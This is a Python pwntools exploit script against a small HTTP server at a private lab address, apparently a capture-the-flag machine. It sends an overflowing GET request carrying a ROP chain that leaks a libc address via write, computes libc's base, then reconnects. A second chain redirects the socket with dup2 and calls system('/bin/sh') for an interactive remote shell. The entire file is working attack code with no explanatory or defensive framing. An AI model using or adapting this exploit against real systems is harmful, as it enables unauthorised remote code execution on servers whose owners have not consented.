exploit.py

#!/usr/bin/python

from pwn import *

HOST = "10.10.10.89"
PORT = "1111"

r = remote(HOST, PORT)

#context.log_level = 'DEBUG'

elf = ELF('/root/Desktop/smasherleak/tiny')
libc = ELF('/root/Desktop/smasherleak/libc.so.6')

log.info("Deploying stage 1 (Leak)...")

junk = "A" * 568

leak = flat(
	0x4011dd,		# 0x00000000004011dd : pop rdi ; ret
	0x4,			# fd
	0x4011db,		# 0x00000000004011db : pop rsi ; pop r15 ; ret
	elf.got['getpid'],
	"AAAAAAAA",
	elf.sym['write'],
	endianness = 'little', word_size = 64, sign = False)

payload = 'GET ' + junk + urlencode(leak) + '\r\n\r\n'

r.send(payload)
r.recvuntil("File not found")
leaked_getpid = u64(r.recv()[:8])
log.success("Leaked getpid@@GLIBC libc address: " + str(hex(leaked_getpid)))

libc.address = leaked_getpid - libc.sym['getpid']

log.success("Base libc address: " + str(hex(libc.address)))
log.success("Dup2@@GLIBC address: " + str(hex(libc.sym['dup2'])))
log.success("System@@GLIBC address: " + str(hex(libc.sym['system'])))
log.success("/bin/sh address: " + str(hex(libc.search('/bin/sh').next())))

log.info("Restarting socket...")
r.close()
r = remote(HOST, PORT)
log.success("Socket restarted successfully.")

log.info("Deploying stage 2 (Shell)...")

shell = flat (
	0x4011dd,               # 0x00000000004011dd : pop rdi ; ret
        0x4,                    # oldfd
        0x4011db,               # 0x00000000004011db : pop rsi ; pop r15 ; ret
        0x0,			# newfd
        "AAAAAAAA",
	libc.sym['dup2'],
	0x4011dd,               # 0x00000000004011dd : pop rdi ; ret
        0x4,                    # oldfd
        0x4011db,               # 0x00000000004011db : pop rsi ; pop r15 ; ret
        0x1,			# newfd
        "AAAAAAAA",
        libc.sym['dup2'],
	0x4011dd,               # 0x00000000004011dd : pop rdi ; ret
	libc.search('/bin/sh').next(),
	libc.sym['system'],
	endianness = 'little', word_size = 64, sign = False)

payload = 'GET ' + junk + urlencode(shell) + '\r\n\r\n'

r.send(payload)
r.interactive()